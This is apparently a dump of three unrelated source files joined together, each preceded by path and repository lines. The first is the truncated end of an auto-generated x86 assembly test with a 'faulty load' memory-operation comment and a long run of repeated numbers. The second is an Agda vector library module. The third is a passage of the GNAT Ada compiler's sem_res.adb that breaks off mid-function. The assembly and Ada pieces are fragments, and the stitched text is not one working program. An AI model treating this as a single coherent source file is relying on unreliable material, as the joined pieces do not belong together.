%rdx pop %rdi pop %rbx pop %rax pop %r9 pop %r8 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 7, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_US', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'54': 1164} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
test/Compiler/simple/Lib/Vec.agda
cruhland/agda
1,989
13052
module Lib.Vec where open import Common.Nat open import Lib.Fin open import Common.Unit import Common.List as List; open List using (List ; [] ; _∷_) data Vec (A : Set) : Nat → Set where _∷_ : {n : Nat} → A → Vec A n → Vec A (suc n) [] : Vec A zero infixr 30 _++_ _++_ : {A : Set}{m n : Nat} → Vec A m → Vec A n → Vec A (m + n) [] ++ ys = ys (x ∷ xs) ++ ys = x ∷ (xs ++ ys) snoc : {A : Set}{n : Nat} → Vec A n → A → Vec A (suc n) snoc [] e = e ∷ [] snoc (x ∷ xs) e = x ∷ snoc xs e -- Recursive length. length : {A : Set}{n : Nat} → Vec A n → Nat length [] = zero length (x ∷ xs) = 1 + length xs length' : {A : Set}{n : Nat} → Vec A n → Nat length' {n = n} _ = n zipWith3 : ∀ {A B C D n} → (A → B → C → D) → Vec A n → Vec B n → Vec C n → Vec D n zipWith3 f [] [] [] = [] zipWith3 f (x ∷ xs) (y ∷ ys) (z ∷ zs) = f x y z ∷ zipWith3 f xs ys zs zipWith : ∀ {A B C n} → (A → B → C) → Vec A n → Vec B n → {u : Unit} → Vec C n zipWith _ [] [] = [] zipWith f (x ∷ xs) (y ∷ ys) = f x y ∷ zipWith f xs ys {u = unit} _!_ : ∀ {A n} → Vec A n → Fin n → A (x ∷ xs) ! fz = x (_ ∷ xs) ! fs n = xs ! n [] ! () -- Update vector at index _[_]=_ : {A : Set}{n : Nat} → Vec A n → Fin n → A → Vec A n (a ∷ as) [ fz ]= e = e ∷ as (a ∷ as) [ fs n ]= e = a ∷ (as [ n ]= e) [] [ () ]= e map : ∀ {A B n}(f : A → B)(xs : Vec A n) → Vec B n map f [] = [] map f (x ∷ xs) = f x ∷ map f xs -- Vector to List, forget the length. forgetL : {A : Set}{n : Nat} → Vec A n → List A forgetL [] = [] forgetL (x ∷ xs) = x ∷ forgetL xs -- List to Vector, "rem"member the length. rem : {A : Set}(xs : List A) → Vec A (List.length xs) rem [] = [] rem (x ∷ xs) = x ∷ rem xs
tools-src/gnu/gcc/gcc/ada/sem_res.adb
enfoTek/tomato.linksys.e2000.nvram-mod
80
27448
<filename>tools-src/gnu/gcc/gcc/ada/sem_res.adb<gh_stars>10-100 ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S E M _ R E S -- -- -- -- B o d y -- -- -- -- $Revision$ -- -- -- Copyright (C) 1992-2001, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Atree; use Atree; with Checks; use Checks; with Debug; use Debug; with Debug_A; use Debug_A; with Einfo; use Einfo; with Errout; use Errout; with Expander; use Expander; with Exp_Ch7; use Exp_Ch7; with Exp_Util; use Exp_Util; with Freeze; use Freeze; with Itypes; use Itypes; with Lib; use Lib; with Lib.Xref; use Lib.Xref; with Namet; use Namet; with Nmake; use Nmake; with Nlists; use Nlists; with Opt; use Opt; with Output; use Output; with Restrict; use Restrict; with Rtsfind; use Rtsfind; with Sem; use Sem; with Sem_Aggr; use Sem_Aggr; with Sem_Attr; use Sem_Attr; with Sem_Cat; use Sem_Cat; with Sem_Ch4; use Sem_Ch4; with Sem_Ch6; use Sem_Ch6; with Sem_Ch8; use Sem_Ch8; with Sem_Disp; use Sem_Disp; with Sem_Dist; use Sem_Dist; with Sem_Elab; use Sem_Elab; with Sem_Eval; use Sem_Eval; with Sem_Intr; use Sem_Intr; with Sem_Util; use Sem_Util; with Sem_Type; use Sem_Type; with Sem_Warn; use Sem_Warn; with Sinfo; use Sinfo; with Stand; use Stand; with Stringt; use Stringt; with Targparm; use Targparm; with Tbuild; use Tbuild; with Uintp; use Uintp; with Urealp; use Urealp; package body Sem_Res is ----------------------- -- Local Subprograms -- ----------------------- -- Second pass (top-down) type checking and overload resolution procedures -- Typ is the type required by context. These procedures propagate the -- type information recursively to the descendants of N. If the node -- is not overloaded, its Etype is established in the first pass. If -- overloaded, the Resolve routines set the correct type. For arith. -- operators, the Etype is the base type of the context. -- Note that Resolve_Attribute is separated off in Sem_Attr procedure Ambiguous_Character (C : Node_Id); -- Give list of candidate interpretations when a character literal cannot -- be resolved. procedure Check_Discriminant_Use (N : Node_Id); -- Enforce the restrictions on the use of discriminants when constraining -- a component of a discriminated type (record or concurrent type). procedure Check_For_Visible_Operator (N : Node_Id; T : Entity_Id); -- Given a node for an operator associated with type T, check that -- the operator is visible. Operators all of whose operands are -- universal must be checked for visibility during resolution -- because their type is not determinable based on their operands. function Check_Infinite_Recursion (N : Node_Id) return Boolean; -- Given a call node, N, which is known to occur immediately within the -- subprogram being called, determines whether it is a detectable case of -- an infinite recursion, and if so, outputs appropriate messages. Returns -- True if an infinite recursion is detected, and False otherwise. procedure Check_Initialization_Call (N : Entity_Id; Nam : Entity_Id); -- If the type of the object being initialized uses the secondary stack -- directly or indirectly, create a transient scope for the call to the -- Init_Proc. This is because we do not create transient scopes for the -- initialization of individual components within the init_proc itself. -- Could be optimized away perhaps? function Is_Predefined_Op (Nam : Entity_Id) return Boolean; -- Utility to check whether the name in the call is a predefined -- operator, in which case the call is made into an operator node. -- An instance of an intrinsic conversion operation may be given -- an operator name, but is not treated like an operator. procedure Replace_Actual_Discriminants (N : Node_Id; Default : Node_Id); -- If a default expression in entry call N depends on the discriminants -- of the task, it must be replaced with a reference to the discriminant -- of the task being called. procedure Resolve_Allocator (N : Node_Id; Typ : Entity_Id); procedure Resolve_Arithmetic_Op (N : Node_Id; Typ : Entity_Id); procedure Resolve_Call (N : Node_Id; Typ : Entity_Id); procedure Resolve_Character_Literal (N : Node_Id; Typ : Entity_Id); procedure Resolve_Comparison_Op (N : Node_Id; Typ : Entity_Id); procedure Resolve_Conditional_Expression (N : Node_Id; Typ : Entity_Id); procedure Resolve_Equality_Op (N : Node_Id; Typ : Entity_Id); procedure Resolve_Explicit_Dereference (N : Node_Id; Typ : Entity_Id); procedure Resolve_Entity_Name (N : Node_Id; Typ : Entity_Id); procedure Resolve_Indexed_Component (N : Node_Id; Typ : Entity_Id); procedure Resolve_Integer_Literal (N : Node_Id; Typ : Entity_Id); procedure Resolve_Logical_Op (N : Node_Id; Typ : Entity_Id); procedure Resolve_Membership_Op (N : Node_Id; Typ : Entity_Id); procedure Resolve_Null (N : Node_Id; Typ : Entity_Id); procedure Resolve_Operator_Symbol (N : Node_Id; Typ : Entity_Id); procedure Resolve_Op_Concat (N : Node_Id; Typ : Entity_Id); procedure Resolve_Op_Expon (N : Node_Id; Typ : Entity_Id); procedure Resolve_Op_Not (N : Node_Id; Typ : Entity_Id); procedure Resolve_Qualified_Expression (N : Node_Id; Typ : Entity_Id); procedure Resolve_Range (N : Node_Id; Typ : Entity_Id); procedure Resolve_Real_Literal (N : Node_Id; Typ : Entity_Id); procedure Resolve_Reference (N : Node_Id; Typ : Entity_Id); procedure Resolve_Selected_Component (N : Node_Id; Typ : Entity_Id); procedure Resolve_Shift (N : Node_Id; Typ : Entity_Id); procedure Resolve_Short_Circuit (N : Node_Id; Typ : Entity_Id); procedure Resolve_Slice (N : Node_Id; Typ : Entity_Id); procedure Resolve_String_Literal (N : Node_Id; Typ : Entity_Id); procedure Resolve_Subprogram_Info (N : Node_Id; Typ : Entity_Id); procedure Resolve_Type_Conversion (N : Node_Id; Typ : Entity_Id); procedure Resolve_Unary_Op (N : Node_Id; Typ : Entity_Id); procedure Resolve_Unchecked_Expression (N : Node_Id; Typ : Entity_Id); procedure Resolve_Unchecked_Type_Conversion (N : Node_Id; Typ : Entity_Id); function Operator_Kind (Op_Name : Name_Id; Is_Binary : Boolean) return Node_Kind; -- Utility to map the name of an operator into the corresponding Node. Used -- by other node rewriting procedures. procedure Resolve_Actuals (N : Node_Id; Nam : Entity_Id); -- Resolve actuals of call, and add default expressions for missing ones. procedure Resolve_Entry_Call (N : Node_Id; Typ : Entity_Id); -- Called from Resolve_Call, when the prefix denotes an entry or element -- of entry family. Actuals are resolved as for subprograms, and the node -- is rebuilt as an entry call. Also called for protected operations. Typ -- is the context type, which is used when the operation is a protected -- function with no arguments, and the return value is indexed. procedure Resolve_Intrinsic_Operator (N : Node_Id; Typ : Entity_Id); -- A call to a user-defined intrinsic operator is rewritten as a call -- to the corresponding predefined operator, with suitable conversions. procedure Rewrite_Operator_As_Call (N : Node_Id; Nam : Entity_Id); -- If an operator node resolves to a call to a user-defined operator, -- rewrite the node as a function call. procedure Make_Call_Into_Operator (N : Node_Id; Typ : Entity_Id; Op_Id : Entity_Id); -- Inverse transformation: if an operator is given in functional notation, -- then after resolving the node, transform into an operator node, so -- that operands are resolved properly. Recall that predefined operators -- do not have a full signature and special resolution rules apply. procedure Rewrite_Renamed_Operator (N : Node_Id; Op : Entity_Id); -- An operator can rename another, e.g. in an instantiation. In that -- case, the proper operator node must be constructed. procedure Set_String_Literal_Subtype (N : Node_Id; Typ : Entity_Id); -- The String_Literal_Subtype is built for all strings that are not -- operands of a static concatenation operation. If the argument is not -- a String the function is a no-op. procedure Set_Slice_Subtype (N : Node_Id); -- Build subtype of array type, with the range specified by the slice. function Unique_Fixed_Point_Type (N : Node_Id) return Entity_Id; -- A universal_fixed expression in an universal context is unambiguous if -- there is only one applicable fixed point type. Determining whether -- there is only one requires a search over all visible entities, and -- happens only in very pathological cases (see 6115-006). function Valid_Conversion (N : Node_Id; Target : Entity_Id; Operand : Node_Id) return Boolean; -- Verify legality rules given in 4.6 (8-23). Target is the target -- type of the conversion, which may be an implicit conversion of -- an actual parameter to an anonymous access type (in which case -- N denotes the actual parameter and N = Operand). ------------------------- -- Ambiguous_Character -- ------------------------- procedure Ambiguous_Character (C : Node_Id) is E : Entity_Id; begin if Nkind (C) = N_Character_Literal then Error_Msg_N ("ambiguous character literal", C); Error_Msg_N ("\possible interpretations: Character, Wide_Character!", C); E := Current_Entity (C); if Present (E) then while Present (E) loop Error_Msg_NE ("\possible interpretation:}!", C, Etype (E)); E := Homonym (E); end loop; end if; end if; end Ambiguous_Character; ------------------------- -- Analyze_And_Resolve -- ------------------------- procedure Analyze_And_Resolve (N : Node_Id) is begin Analyze (N); Resolve (N, Etype (N)); end Analyze_And_Resolve; procedure Analyze_And_Resolve (N : Node_Id; Typ : Entity_Id) is begin Analyze (N); Resolve (N, Typ); end Analyze_And_Resolve; -- Version withs check(s) suppressed procedure Analyze_And_Resolve (N : Node_Id; Typ : Entity_Id; Suppress : Check_Id) is Scop : Entity_Id := Current_Scope; begin if Suppress = All_Checks then declare Svg : constant Suppress_Record := Scope_Suppress; begin Scope_Suppress := (others => True); Analyze_And_Resolve (N, Typ); Scope_Suppress := Svg; end; else declare Svg : constant Boolean := Get_Scope_Suppress (Suppress); begin Set_Scope_Suppress (Suppress, True); Analyze_And_Resolve (N, Typ); Set_Scope_Suppress (Suppress, Svg); end; end if; if Current_Scope /= Scop and then Scope_Is_Transient then -- This can only happen if a transient scope was created -- for an inner expression, which will be removed upon -- completion of the analysis of an enclosing construct. -- The transient scope must have the suppress status of -- the enclosing environment, not of this Analyze call. Scope_Stack.Table (Scope_Stack.Last).Save_Scope_Suppress := Scope_Suppress; end if; end Analyze_And_Resolve; procedure Analyze_And_Resolve (N : Node_Id; Suppress : Check_Id) is Scop : Entity_Id := Current_Scope; begin if Suppress = All_Checks then declare Svg : constant Suppress_Record := Scope_Suppress; begin Scope_Suppress := (others => True); Analyze_And_Resolve (N); Scope_Suppress := Svg; end; else declare Svg : constant Boolean := Get_Scope_Suppress (Suppress); begin Set_Scope_Suppress (Suppress, True); Analyze_And_Resolve (N); Set_Scope_Suppress (Suppress, Svg); end; end if; if Current_Scope /= Scop and then Scope_Is_Transient then Scope_Stack.Table (Scope_Stack.Last).Save_Scope_Suppress := Scope_Suppress; end if; end Analyze_And_Resolve; ---------------------------- -- Check_Discriminant_Use -- ---------------------------- procedure Check_Discriminant_Use (N : Node_Id) is PN : constant Node_Id := Parent (N); Disc : constant Entity_Id := Entity (N); P : Node_Id; D : Node_Id; begin -- Any use in a default expression is legal. if In_Default_Expression then null; elsif Nkind (PN) = N_Range then -- Discriminant cannot be used to constrain a scalar type. P := Parent (PN); if Nkind (P) = N_Range_Constraint and then Nkind (Parent (P)) = N_Subtype_Indication and then Nkind (Parent (Parent (P))) = N_Component_Declaration then Error_Msg_N ("discriminant cannot constrain scalar type", N); elsif Nkind (P) = N_Index_Or_Discriminant_Constraint then -- The following check catches the unusual case where -- a discriminant appears within an index constraint -- that is part of a larger expression within a constraint -- on a component, e.g. "C : Int range 1 .. F (new A(1 .. D))". -- For now we only check case of record components, and -- note that a similar check should also apply in the -- case of discriminant constraints below. ??? -- Note that the check for N_Subtype_Declaration below is to -- detect the valid use of discriminants in the constraints of a -- subtype declaration when this subtype declaration appears -- inside the scope of a record type (which is syntactically -- illegal, but which may be created as part of derived type -- processing for records). See Sem_Ch3.Build_Derived_Record_Type -- for more info. if Ekind (Current_Scope) = E_Record_Type and then Scope (Disc) = Current_Scope and then not (Nkind (Parent (P)) = N_Subtype_Indication and then (Nkind (Parent (Parent (P))) = N_Component_Declaration or else Nkind (Parent (Parent (P))) = N_Subtype_Declaration) and then Paren_Count (N) = 0) then Error_Msg_N ("discriminant must appear alone in component constraint", N); return; end if; -- Detect a common beginner error: -- type R (D : Positive := 100) is record -- Name: String (1 .. D); -- end record; -- The default value causes an object of type R to be -- allocated with room for Positive'Last characters. declare SI : Node_Id; T : Entity_Id; TB : Node_Id; CB : Entity_Id; function Large_Storage_Type (T : Entity_Id) return Boolean; -- Return True if type T has a large enough range that -- any array whose index type covered the whole range of -- the type would likely raise Storage_Error. function Large_Storage_Type (T : Entity_Id) return Boolean is begin return T = Standard_Integer or else T = Standard_Positive or else T = Standard_Natural; end Large_Storage_Type; begin -- Check that the Disc has a large range if not Large_Storage_Type (Etype (Disc)) then goto No_Danger; end if; -- If the enclosing type is limited, we allocate only the -- default value, not the maximum, and there is no need for -- a warning. if Is_Limited_Type (Scope (Disc)) then goto No_Danger; end if; -- Check that it is the high bound if N /= High_Bound (PN) or else not Present (Discriminant_Default_Value (Disc)) then goto No_Danger; end if; -- Check the array allows a large range at this bound. -- First find the array SI := Parent (P); if Nkind (SI) /= N_Subtype_Indication then goto No_Danger; end if; T := Entity (Subtype_Mark (SI)); if not Is_Array_Type (T) then goto No_Danger; end if; -- Next, find the dimension TB := First_Index (T); CB := First (Constraints (P)); while True and then Present (TB) and then Present (CB) and then CB /= PN loop Next_Index (TB); Next (CB); end loop; if CB /= PN then goto No_Danger; end if; -- Now, check the dimension has a large range if not Large_Storage_Type (Etype (TB)) then goto No_Danger; end if; -- Warn about the danger Error_Msg_N ("creation of object of this type may raise Storage_Error?", N); <<No_Danger>> null; end; end if; -- Legal case is in index or discriminant constraint elsif Nkind (PN) = N_Index_Or_Discriminant_Constraint or else Nkind (PN) = N_Discriminant_Association then if Paren_Count (N) > 0 then Error_Msg_N ("discriminant in constraint must appear alone", N); end if; return; -- Otherwise, context is an expression. It should not be within -- (i.e. a subexpression of) a constraint for a component. else D := PN; P := Parent (PN); while Nkind (P) /= N_Component_Declaration and then Nkind (P) /= N_Subtype_Indication and then Nkind (P) /= N_Entry_Declaration loop D := P; P := Parent (P); exit when No (P); end loop; -- If the discriminant is used in an expression that is a bound -- of a scalar type, an Itype is created and the bounds are attached -- to its range, not to the original subtype indication. Such use -- is of course a double fault. if (Nkind (P) = N_Subtype_Indication and then (Nkind (Parent (P)) = N_Component_Declaration or else Nkind (Parent (P)) = N_Derived_Type_Definition) and then D = Constraint (P)) -- The constraint itself may be given by a subtype indication, -- rather than by a more common discrete range. or else (Nkind (P) = N_Subtype_Indication and then Nkind (Parent (P)) = N_Index_Or_Discriminant_Constraint) or else Nkind (P) = N_Entry_Declaration or else Nkind (D) = N_Defining_Identifier then Error_Msg_N ("discriminant in constraint must appear alone", N); end if; end if; end Check_Discriminant_Use; -------------------------------- -- Check_For_Visible_Operator -- -------------------------------- procedure Check_For_Visible_Operator (N : Node_Id; T : Entity_Id) is Orig_Node : Node_Id := Original_Node (N); begin if Comes_From_Source (Orig_Node) and then not In_Open_Scopes (Scope (T)) and then not Is_Potentially_Use_Visible (T) and then not In_Use (T) and then not In_Use (Scope (T)) and then (not Present (Entity (N)) or else Ekind (Entity (N)) /= E_Function) and then (Nkind (Orig_Node) /= N_Function_Call or else Nkind (Name (Orig_Node)) /= N_Expanded_Name or else Entity (Prefix (Name (Orig_Node))) /= Scope (T)) and then not In_Instance then Error_Msg_NE ("operator for} is not directly visible!", N, First_Subtype (T)); Error_Msg_N ("use clause would make operation legal!", N); end if; end Check_For_Visible_Operator; ------------------------------ -- Check_Infinite_Recursion -- ------------------------------ function Check_Infinite_Recursion (N : Node_Id) return Boolean is P : Node_Id; C : Node_Id; begin -- Loop moving up tree, quitting if something tells us we are -- definitely not in an infinite recursion situation. C := N; loop P := Parent (C); exit when Nkind (P) = N_Subprogram_Body; if Nkind (P) = N_Or_Else or else Nkind (P) = N_And_Then or else Nkind (P) = N_If_Statement or else Nkind (P) = N_Case_Statement then return False; elsif Nkind (P) = N_Handled_Sequence_Of_Statements and then C /= First (Statements (P)) then return False; else C := P; end if; end loop; Warn_On_Instance := True; Error_Msg_N ("possible infinite recursion?", N); Error_Msg_N ("\Storage_Error may be raised at run time?", N); Warn_On_Instance := False; return True; end Check_Infinite_Recursion; ------------------------------- -- Check_Initialization_Call -- ------------------------------- procedure Check_Initialization_Call (N : Entity_Id; Nam : Entity_Id) is Typ : Entity_Id := Etype (First_Formal (Nam)); function Uses_SS (T : Entity_Id) return Boolean; function Uses_SS (T : Entity_Id) return Boolean is Comp : Entity_Id; Expr : Node_Id; begin if Is_Controlled (T) or else Has_Controlled_Component (T) or else Functions_Return_By_DSP_On_Target then return False; elsif Is_Array_Type (T) then return Uses_SS (Component_Type (T)); elsif Is_Record_Type (T) then Comp := First_Component (T); while Present (Comp) loop if Ekind (Comp) = E_Component and then Nkind (Parent (Comp)) = N_Component_Declaration then Expr := Expression (Parent (Comp)); if Nkind (Expr) = N_Function_Call and then Requires_Transient_Scope (Etype (Expr)) then return True; elsif Uses_SS (Etype (Comp)) then return True; end if; end if; Next_Component (Comp); end loop; return False; else return False; end if; end Uses_SS; begin if Uses_SS (Typ) then Establish_Transient_Scope (First_Actual (N), Sec_Stack => True); end if; end Check_Initialization_Call; ------------------------------ -- Check_Parameterless_Call -- ------------------------------ procedure Check_Parameterless_Call (N : Node_Id) is Nam : Node_Id; begin if Nkind (N) in N_Has_Etype and then Etype (N) = Any_Type then return; end if; -- Rewrite as call if overloadable entity that is (or could be, in -- the overloaded case) a function call. If we know for sure that -- the entity is an enumeration literal, we do not rewrite it. if (Is_Entity_Name (N) and then Is_Overloadable (Entity (N)) and then (Ekind (Entity (N)) /= E_Enumeration_Literal or else Is_Overloaded (N))) -- Rewrite as call if it is an explicit deference of an expression of -- a subprogram access type, and the suprogram type is not that of a -- procedure or entry. or else (Nkind (N) = N_Explicit_Dereference and then Ekind (Etype (N)) = E_Subprogram_Type and then Base_Type (Etype (Etype (N))) /= Standard_Void_Type) -- Rewrite as call if it is a selected component which is a function, -- this is the case of a call to a protected function (which may be -- overloaded with other protected operations). or else (Nkind (N) = N_Selected_Component and then (Ekind (Entity (Selector_Name (N))) = E_Function or else ((Ekind (Entity (Selector_Name (N))) = E_Entry or else Ekind (Entity (Selector_Name (N))) = E_Procedure) and then Is_Overloaded (Selector_Name (N))))) -- If one of the above three conditions is met, rewrite as call. -- Apply the rewriting only once. then if Nkind (Parent (N)) /= N_Function_Call or else N /= Name (Parent (N)) then Nam := New_Copy (N); -- If overloaded, overload set belongs to new copy. Save_Interps (N, Nam); -- Change node to parameterless function call (note that the -- Parameter_Associations associations field is left set to Empty, -- its normal default value since there are no parameters) Change_Node (N, N_Function_Call); Set_Name (N, Nam); Set_Sloc (N, Sloc (Nam)); Analyze_Call (N); end if; elsif Nkind (N) = N_Parameter_Association then Check_Parameterless_Call (Explicit_Actual_Parameter (N)); end if; end Check_Parameterless_Call; ---------------------- -- Is_Predefined_Op -- ---------------------- function Is_Predefined_Op (Nam : Entity_Id) return Boolean is begin return Is_Intrinsic_Subprogram (Nam) and then not Is_Generic_Instance (Nam) and then Chars (Nam) in Any_Operator_Name and then (No (Alias (Nam)) or else Is_Predefined_Op (Alias (Nam))); end Is_Predefined_Op; ----------------------------- -- Make_Call_Into_Operator -- ----------------------------- procedure Make_Call_Into_Operator (N : Node_Id; Typ : Entity_Id; Op_Id : Entity_Id) is Op_Name : constant Name_Id := Chars (Op_Id); Act1 : Node_Id := First_Actual (N); Act2 : Node_Id := Next_Actual (Act1); Error : Boolean := False; Is_Binary : constant Boolean := Present (Act2); Op_Node : Node_Id; Opnd_Type : Entity_Id; Orig_Type : Entity_Id := Empty; Pack : Entity_Id; type Kind_Test is access function (E : Entity_Id) return Boolean; function Is_Definite_Access_Type (E : Entity_Id) return Boolean; -- Determine whether E is an access type declared by an access decla- -- ration, and not an (anonymous) allocator type. function Operand_Type_In_Scope (S : Entity_Id) return Boolean; -- If the operand is not universal, and the operator is given by a -- expanded name, verify that the operand has an interpretation with -- a type defined in the given scope of the operator. function Type_In_P (Test : Kind_Test) return Entity_Id; -- Find a type of the given class in the package Pack that contains -- the operator. ----------------------------- -- Is_Definite_Access_Type -- ----------------------------- function Is_Definite_Access_Type (E : Entity_Id) return Boolean is Btyp : constant Entity_Id := Base_Type (E); begin return Ekind (Btyp) = E_Access_Type or else (Ekind (Btyp) = E_Access_Subprogram_Type and then Comes_From_Source (Btyp)); end Is_Definite_Access_Type; --------------------------- -- Operand_Type_In_Scope -- --------------------------- function Operand_Type_In_Scope (S : Entity_Id) return Boolean is Nod : constant Node_Id := Right_Opnd (Op_Node); I : Interp_Index; It : Interp; begin if not Is_Overloaded (Nod) then return Scope (Base_Type (Etype (Nod))) = S; else Get_First_Interp (Nod, I, It); while Present (It.Typ) loop if Scope (Base_Type (It.Typ)) = S then return True; end if; Get_Next_Interp (I, It); end loop; return False; end if; end Operand_Type_In_Scope; --------------- -- Type_In_P -- --------------- function Type_In_P (Test : Kind_Test) return Entity_Id is E : Entity_Id; function In_Decl return Boolean; -- Verify that node is not part of the type declaration for the -- candidate type, which would otherwise be invisible. ------------- -- In_Decl -- ------------- function In_Decl return Boolean is Decl_Node : constant Node_Id := Parent (E); N2 : Node_Id; begin N2 := N; if Etype (E) = Any_Type then return True; elsif No (Decl_Node) then return False; else while Present (N2) and then Nkind (N2) /= N_Compilation_Unit loop if N2 = Decl_Node then return True; else N2 := Parent (N2); end if; 